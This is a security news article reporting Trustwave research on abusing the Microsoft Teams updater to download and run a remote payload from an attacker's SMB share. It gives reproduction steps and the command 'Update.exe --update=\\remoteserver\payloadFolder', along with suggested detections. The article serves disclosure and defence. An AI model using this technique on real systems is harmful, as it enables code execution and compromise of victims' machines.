• Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
MUST READ

Kelly Benefits data breach has impacted 550,000 people, and the situation continues to worsen as the investigation progresses

 | 

Cisco removed the backdoor account from its Unified Communications Manager

 | 

U.S. Sanctions Russia's Aeza Group for aiding crooks with bulletproof hosting

 | 

Qantas confirms customer data breach amid Scattered Spider attacks

 | 

CVE-2025-6554 is the fourth Chrome zero-day patched by Google in 2025

 | 

U.S. CISA adds TeleMessage TM SGNL flaws to its Known Exploited Vulnerabilities catalog

 | 

A sophisticated cyberattack hit the International Criminal Court

 | 

Esse Health data breach impacted 263,000 individuals

 | 

Europol dismantles €460M crypto scam targeting 5,000 victims worldwide

 | 

CISA and U.S. Agencies warn of ongoing Iranian cyber threats to critical infrastructure

 | 

U.S. CISA adds Citrix NetScaler flaw to its Known Exploited Vulnerabilities catalog

 | 

Canada bans Hikvision over national security concerns

 | 

Denmark moves to protect personal identity from deepfakes with new copyright law

 | 

Ahold Delhaize data breach affected over 2.2 Million individuals

 | 

Facebook wants access to your camera roll for AI photo edits

 | 

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 51

 | 

Security Affairs newsletter Round 530 by Pierluigi Paganini – INTERNATIONAL EDITION

 | 

The FBI warns that Scattered Spider is now targeting the airline sector

 | 

LapDogs: China-nexus hackers Hijack 1,000+ SOHO devices for espionage

 | 

Taking over millions of developers exploiting an Open VSX Registry flaw

 | 
  • Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
  • Home
  • Breaking News
  • Hacking
  • Malware
  • Hackers can abuse Microsoft Teams updater to deliver malicious payloads

Hackers can abuse Microsoft Teams updater to deliver malicious payloads

Pierluigi Paganini August 06, 2020

Threat actors can abuse Microsoft Teams updater to retrieve and execute malicious code from a remote location.

Security experts from Trustwave detailed the  Living Off the Land technique that could allow a threat actor to abuse the MS Teams Updater to download any binary or malicious payload from a remote server.

The bad news is that the issue could not be easily addressed because it is a design flaw.

The solution previously proposed to address the Teams issue consists in restricting its ability to update via a URL. Instead, the updater allows local connections via a share or local folder for product updates.

“As per the patch, Microsoft Teams Updater will allow only local network paths to access and update, that means it will detect the string “http/s”, “:”, “/” and port numbers in the updater URL, blocks and log the activity under %localappdata%\Microsoft\Teams\SquirrelSetup.log.” reads the analysis published by Trustwave.

The mechanism allows share access in the local UNC format: \\server\

An attacker could exploit it if the following conditions are met:

  1. Attackers have to get the file inside the network in an open shared folders;
  2. Attackers have access to the payload from that share to the victim machine;

Experts noticed that this attack scenario is not easy to implement.

To simplify the attack chain, an attacker can create a remote rather than local share. In this way, the attacker can download the remote payload and execute it without accessing to a local share.

To create a remote share, the experts set up a Samba server that allowed remote public access, the they were able to download the remote payload and run it from Microsoft Teams Updater “Update.Exe” using the following command:

Update.exe --update=\\remoteserver\payloadFolder

Microsoft Teams leverages the open-source project Squirrel for installation and updating routines. Squirrel relies on NuGet package manager to create the necessary files.

The payload needs to have the name “squirrel.exe” and have to be placed in a particular nupkg file. The file has to be crafted using the metadata of the fake Microsoft Teams release and the installation is in the AppData folder, which does not require increased privileges for access.

The post published by Trustwave includes a step by step procedure to carry out the attack to bypass the current mitigations in the application.

Below the steps to reproduce the attack:

  1. Go to target application folder “%localappdata%/Microsoft/Teams/” on the victim system
  2. Run the below command:
    update.exe –update=[Samba server contains the above 2 files]
    e.g. update.exe –update=\\remoteserver\payloadFolder

After some seconds (wait for 10-15 seconds), the payload will be downloaded successfully and executed by Microsoft Teams.

The researcher Reegun Jayapaul from Trustwave attempted to report the issue to Microsoft the provide the following reply:

“Thank you again for submitting this issue to Microsoft. We determined that this behavior is considered to be by design as “we cannot restrict SMB source for –update because we have customers that apparently rely on this (e.g. folder redirection)” replied Microsoft

Possible mitigations include monitoring “update.exe” command lines for dubious connections and checking anomalies in the size and the hash of “squirrel.exe.”

Tracking SMB connections, especially those from Microsoft Teams’ updater, could allow us to detect malicious activities.

[adrotate banner=”9″][adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – hacking, Microsoft Teams)

[adrotate banner=”5″]

[adrotate banner=”13″]


facebook linkedin twitter

Hacking malware Teams

you might also like

Pierluigi Paganini July 03, 2025
Kelly Benefits data breach has impacted 550,000 people, and the situation continues to worsen as the investigation progresses
Read more
Pierluigi Paganini July 02, 2025
Cisco removed the backdoor account from its Unified Communications Manager
Read more

leave a comment

newsletter

Subscribe to my email list and stay
up-to-date!

    recent articles

    Kelly Benefits data breach has impacted 550,000 people, and the situation continues to worsen as the investigation progresses

    Uncategorized / July 03, 2025

    Cisco removed the backdoor account from its Unified Communications Manager

    Security / July 02, 2025

    U.S. Sanctions Russia's Aeza Group for aiding crooks with bulletproof hosting

    Cyber Crime / July 02, 2025

    Qantas confirms customer data breach amid Scattered Spider attacks

    Cyber Crime / July 02, 2025

    CVE-2025-6554 is the fourth Chrome zero-day patched by Google in 2025

    Hacking / July 02, 2025

    To contact me write an email to:

    Pierluigi Paganini :
    pierluigi.paganini@securityaffairs.co

    LEARN MORE

    QUICK LINKS

    • Home
    • Cyber Crime
    • Cyber warfare
    • APT
    • Data Breach
    • Deep Web
    • Digital ID
    • Hacking
    • Hacktivism
    • Intelligence
    • Internet of Things
    • Laws and regulations
    • Malware
    • Mobile
    • Reports
    • Security
    • Social Networks
    • Terrorism
    • ICS-SCADA
    • POLICIES
    • Contact me

    Copyright@securityaffairs 2024

    We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept All”, you consent to the use of ALL the cookies. However, you may visit "Cookie Settings" to provide a controlled consent.
    Cookie SettingsAccept All
    Manage consent

    Privacy Overview

    This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities...
    Necessary
    Always Enabled
    Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
    Non-necessary
    Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
    SAVE & ACCEPT